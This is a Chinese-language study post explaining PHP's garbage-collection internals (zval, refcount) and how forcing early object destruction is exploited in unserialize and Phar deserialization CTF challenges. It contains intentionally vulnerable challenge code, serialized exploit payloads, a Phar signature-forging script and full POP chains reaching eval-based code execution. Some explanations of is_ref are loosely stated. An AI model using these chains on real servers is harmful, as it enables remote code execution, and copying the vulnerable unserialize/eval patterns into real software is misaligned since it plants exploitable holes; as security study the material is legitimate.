PHP GC 回收机制学习

0x01 前言

知识分享所见所得，自己重新再复习一遍加深印象。因为 quan 爷已经整理了一遍，我跟着学即可
知识分享内容地址：https://www.bilibili.com/video/BV16g411s7CH/

0x02 PHP GC 回收机制是什么

在 PHP 中，是拥有垃圾回收机制 Garbage collection 的，也就是我们常说的 GC 机制的，在 PHP 中使用引用计数和回收周期来自动管理内存对象的，当一个变量被设置为 NULL ，或者没有任何指针指向时，它就会被变成垃圾，被 GC 机制自动回收掉；那么当一个对象没有了任何引用之后，就会被回收，在回收过程中，就会自动调用对象中的 __destruct() 方法。

上面这一段话我个人认为如果零基础看，会感觉到相当抽象。所以我们先来解读一下

PHP 引用计数

当我们 PHP 创建一个变量时，这个变量会被存储在一个名为 zval 的变量容器中。在这个 zval 变量容器中，不仅包含变量的类型和值，还包含两个字节的额外信息。

第一个字节名为 is_ref，是 bool 值，它用来标识这个变量是否是属于引用集合。PHP 引擎通过这个字节来区分普通变量和引用变量，由于 PHP 允许用户使用 & 来使用自定义引用，zval 变量容器中还有一个内部引用计数机制，来优化内存使用。

第二个字节是 refcount，它用来表示指向 zval 变量容器的变量个数。所有的符号存储在一个符号表中，其中每个符号都有作用域。

看接下来的这个例子

<?php
$a = "new string"; 
xdebug_debug_zval('a'); //用于查看变量a的zval变量容器的内容
?>

我们可以看到这里定义了一个变量 $a，生成了类型为 String 和值为 new string 的变量容器，而对于两个额外的字节，is_ref 和 refcount，我们这里可以看到是不存在引用的，所以 is_ref 的值应该是 false，而 refcount 是表示变量个数的，那么这里就应该是1，接下来我们验证一下。

接下来我们添加一个引用

<?php
<?php
$a="new string"; 
$b =&$a;
xdebug_debug_zval('a');
?>

按照之前的思路，每生成一个变量就有一个 zval 记录其类型和值以及两个额外字节，那我们这里的话 a 的 refcount 应该是 1，is_ref 应该是 true，接下来我们验证一下

哎，结果不同于我们所想的，这是为什么呢？
因为同一变量容器被变量 a 和变量 b 关联，当没必要时，php 不会去复制已生成的变量容器。
所以这一个 zval 容器存储了 a 和 b 两个变量，就使得 refcount 的值为 2

接下来说一下容器的销毁这个事。
变量容器在 refcount 变成 0 时就被销毁。它这个值是如何减少的呢，当函数执行结束或者对变量调用了 unset() 函数，refcount 就会减 1。

看个例子

<?php
$a="new string"; 
$b =&$a;
$c =&$b;
xdebug_debug_zval('a');
unset($b,$c);
xdebug_debug_zval('a');
?>

按照刚刚所说，那么这里的首次输出的 is_ref 应该是 true，refcount 为 3。
第二次输出的 is_ref 值是什么呢，我们可以看到引用 $a 的变量 $b 和 $c 都被 unset 了，所以这里的 is_ref 应该是 false，也是因为 unset，这里的 refcount 应该从 3 变成了 1，接下来验证一下

0x03 PHP GC 回收机制攻击面

原理：当 is_ref 减少时，会触发 __destuct 魔术方法，由此产生的一些 trick 类型攻击

PHP 反序列化中的 PHP GC 利用

这里的思路是，通过某些手段触发 PHP GC，这些手段都是基于 is_ref 被修改时发起的攻击。

unset 直接取消引用

代码如下

<?php
highlight_file(__FILE__); 
error_reporting(0); 
class test{ 
    public $num; 
    public function __construct($num) {
        $this->num = $num; echo $this->num."__construct"."</br>"; 
    }
    public function __destruct(){
        echo $this->num."__destruct()"."</br>"; 
    }
    }
$a = new test(1); 
unset($a);
$b = new test(2); 
$c = new test(3);

可以看到通过 unset() 方法主动取消引用，可以直接调用 __destruct 魔术方法。

反序列化当中取消引用

可以通过 unset() 方法直接做引用的取消，但是一般这种情况都是不可控的，更合理的方式是修改在反序列化当中的值。

这种利用方式是这样的：比如在一个 array 里面存在一个键值对，value 为某个类，当这个类为 NULL 的时候，会被认为是 is_ref 为 0，也就是 false。这就可以触发到 __destruct 方法

照例还是结合代码讲，比如下面这一道题目，我需要去触发 __destruct 魔术方法

<?php
show_source(__FILE__);
$flag = "flag";
class B {
  function __destruct() {
    global $flag;
    echo $flag;
  }
}

$a = unserialize($_GET['payload']);

throw new Exception('输入失败');

?>

如果按照正常的反序列化思路，是没有办法去触发 __destruct 的，这里就用到了我们的 PHP GC 机制，通过把 is_ref 修改为 false，让它触发 __destruct

PoC:

<?php
show_source(__FILE__);

class B {
  function __destruct() {
    global $flag;
    echo $flag;
  }
}
$a=array(new B,0);

echo serialize($a);

得到序列化文本如下

1
2
3

a:2:{i:0;O:1:"B":0:{}i:1;i:0;}
对象类型:长度:{类型:长度;类型:长度:类名:值类型:长度;类型:长度;}
数组:长度为2::{int型:长度0;类:长度为1:类名为"B":值为0 int型:值为1：int型;值为0

此处对于序列化的字符串，我们先解析看一看，a 当中放了对象 B，目前 B 是有 is_ref 的，is_ref 指向了 array，所以这里我们将 is_ref 修改为 false 即可。

如下

1	a:2:{i:0;O:1:"B":0:{}i:0;i:0;}

验证成功！

GC 在 Phar 反序列化中的利用

差不多的原理，phar 反序列化比直接的反序列化多了签名，所以需要后续用 010 来修改一些内容，直接看例子

<?php 
highlight_file(__FILE__); 
class Test{ 
    public $code; 
    public function __destruct(){ 
        eval($this -> code); 
        } 
}
$filename = $_GET['filename']; 
echo file_get_contents($filename); 
throw new Error("Garbage collection"); 
?>

看到 file_get_contents 函数和类，就想到 Phar 反序列化，所以接下来尝试借助 file_get_contents 方法来进行反序列化(因为这里只是本地测试一下，所以不再设置文件上传那些，直接将生成的 Phar 文件放置本地进行利用了)。

构造 EXP 如下

<?php 
class test{
    public $code= "phpinfo();";
}
$a = new test();
$c = array($a,0); 
$b = new Phar('1.phar',0);//后缀名必须为phar
$b->startBuffering();//开始缓冲 Phar 写操作
$b->setMetadata($c);//自定义的meta-data存入manifest
$b->setStub("<?php __HALT_COMPILER();?>");//设置stub，stub是一个简单的php文件。PHP通过stub识别一个文件为PHAR文件，可以利用这点绕过文件上传检测
$b->addFromString("test.txt","test");//添加要压缩的文件
$b->stopBuffering();//停止缓冲对 Phar 归档的写入请求，并将更改保存到磁盘
?>

注：需要去检查一下 php.ini 中的 phar.readonly 选项，如果是 On，需要修改为 Off。否则会报错，无法生成 phar 文件

在生成 .phar 文件之后，用 010 打开，将里面序列化的字符串进行手动修改

可以发现i:1，按照我们之前的思路，我们这里将i:1修改成i:0就可以绕过抛出异常，但在Phar文件中，我们是不能任意修改数据的，否则就会因为签名错误而导致文件出错，不过签名是可以进行伪造的，所以我们先将1.phar中的i:1修改为i:0，接下来利用脚本使得签名正确。

import gzip
from hashlib import sha1
with open('D:\\phpStudy\\PHPTutorial\\WWW\html\\1.phar', 'rb') as file:
    f = file.read() 
s = f[:-28] # 获取要签名的数据
h = f[-8:] # 获取签名类型以及GBMB标识
newf = s + sha1(s).digest() + h # 数据 + 签名 + (类型 + GBMB)
open("2.phar","wb").write(newf)

打开2.phar文件查看一下

变成 i:0 且文件正常，接下来利用 phar 伪协议包含这个文件

1	$filename=phar://2.phar

0x04 实战例题

Demo

这是队内的师傅分享的题目

<?php 
highlight_file(__FILE__); 
error_reporting(0); 
class cg0{ 
    public $num; 
    public function __destruct(){ 
        echo $this->num."hello __destruct"; 
        } 
    }
class cg1{ 
    public $string; 
    public function __toString() { 
        echo "hello __toString"; 
        $this->string->flag(); 
        } 
    }
class cg2{ 
    public $cmd; 
    public function flag(){ 
        echo "hello __flag()"; 
        eval($this->cmd); 
    } 
}
$a=unserialize($_GET['code']); 
throw new Exception("Garbage collection"); 
?>

这道题的思路比较简单

1、首先调用 __destrcut，然后通过 num 参数触发__tostring
2、给string参数赋值，调用cg2的flag方法
3、给cmd参数赋值，实现RCE

但我们会发现这里首先要用到的就是__destruct，而代码末尾带有throw new Exception("Garbage collection");，即异常抛出，所以我们首先需要解决的就是如何绕过他，上文在讲GC中的PHP反序列化时,demo已经给出了方法，即先传值给数组，而后将第二个索引置空即可，因此我们这里按照平常思路，先构造出payload

<?php 
highlight_file(__FILE__); 
error_reporting(0); 
class cg0{ 
    public $num;
} 
class cg1{ 
    public $string; 
}
class cg2{ 
    public $cmd; 
}
$a = new cg0();
$a->num=new cg1();
$a->num->string=new cg2();
$a->num->string->cmd="phpinfo();";
$b=array($a,0);
echo serialize($b);

得到

1	a:2:{i:0;O:3:"cg0":1:{s:3:"num";O:3:"cg1":1:{s:6:"string";O:3:"cg2":1:{s:3:"cmd";s:10:"phpinfo();";}}}i:1;i:0;}

将i:1修改为i:0

1	a:2:{i:0;O:3:"cg0":1:{s:3:"num";O:3:"cg1":1:{s:6:"string";O:3:"cg2":1:{s:3:"cmd";s:10:"phpinfo();";}}}i:0;i:0;}

CTFShow 卷王杯 easy unserialize

源码如下

<?php
/**
 * @Author: F10wers_13eiCheng
 * @Date:   2022-02-01 11:25:02
 * @Last Modified by:   F10wers_13eiCheng
 * @Last Modified time: 2022-02-07 15:08:18
 */
include("./HappyYear.php");

class one {
    public $object;

    public function MeMeMe() {
        array_walk($this, function($fn, $prev){
            if ($fn[0] === "Happy_func" && $prev === "year_parm") {
                global $talk;
                echo "$talk"."</br>";
                global $flag;
                echo $flag;
            }
        });
    }

    public function __destruct() {
        @$this->object->add();
    }

    public function __toString() {
        return $this->object->string;
    }
}

class second {
    protected $filename;

    protected function addMe() {
        return "Wow you have sovled".$this->filename;
    }

    public function __call($func, $args) {
        call_user_func([$this, $func."Me"], $args);
    }
}

class third {
    private $string;

    public function __construct($string) {
        $this->string = $string;
    }

    public function __get($name) {
        $var = $this->$name;
        $var[$name]();
    }
}

if (isset($_GET["ctfshow"])) {
    $a=unserialize($_GET['ctfshow']);
    throw new Exception("高一新生报道");
} else {
    highlight_file(__FILE__);
}

简单梳理一下思路，触发MeMeMe方法为最终目标，以_destruct为起点，绕过抛出异常的方式同之前即可
接下来看一下它的大致流程
首先触发_destruct，那这里的add()无疑是让我们触发_call魔法方法，因此接下来到_call这里，发现这里拼接了Me，那它肯定就指向了addMe()这个方法，接下来看到$this->filename，想到触发_toString魔术方法，接下来根进_toString方法，发现object->string，那么这个的话就是触发_get方法了，因此接着看get()魔术方法，这个时候就有一个问题，怎么通过$var[$name]();来进入one类的MeMeMe方法，我们这里可以控制$var的值，当给它传值为数组，内容为类和方法时，就可成功触发类中的方法，所以我们这里给$var赋值为[new one(),MeMeMe]即可，此时还有一个问题，就是这个MeMeMe中的function($fn, $prev)如何理解，接下来我们本地测试一下

发现这个$fn是变量值，而$prev则是变量名，因此这里我们新增一个变量名为year_parm，且其值为Happy_func即可绕过if语句，接下来就可以去写Exp了

<?php
/**
 * @Author: F10wers_13eiCheng
 * @Date:   2022-02-01 11:25:02
 * @Last Modified by:   F10wers_13eiCheng
 * @Last Modified time: 2022-02-07 15:08:18
 */
include("./HappyYear.php");

class one {
    public $year_parm=array("Happy_func");
    public $object;

    public function MeMeMe() {
        array_walk($this, function($fn, $prev){
            if ($fn[0] === "Happy_func" && $prev === "year_parm") {
                global $talk;
                echo "$talk"."</br>";
                global $flag;
                echo $flag;
            }
        });
    }

    public function __destruct() {
        @$this->object->add();
    }

    public function __toString() {
        return $this->object->string;
    }
}

class second {
    public $filename;

    protected function addMe() {
        return "Wow you have sovled".$this->filename;
    }

    public function __call($func, $args) {
        call_user_func([$this, $func."Me"], $args);
    }
}

class third {
    private $string;

    public function __construct($string) {
        $this->string = $string;
    }

    public function __get($name) {
        $var = $this->$name;
        $var[$name]();
    }
}

$a=new one();
$a->object=new second();
$a->object->filename=new one();
$a->object->filename->object=new third(array("string"=>[new one(),"MeMeMe"]));
$b = array($a,NULL);
echo urlencode(serialize($b));

得到payload

0x05 小结

实战很重要。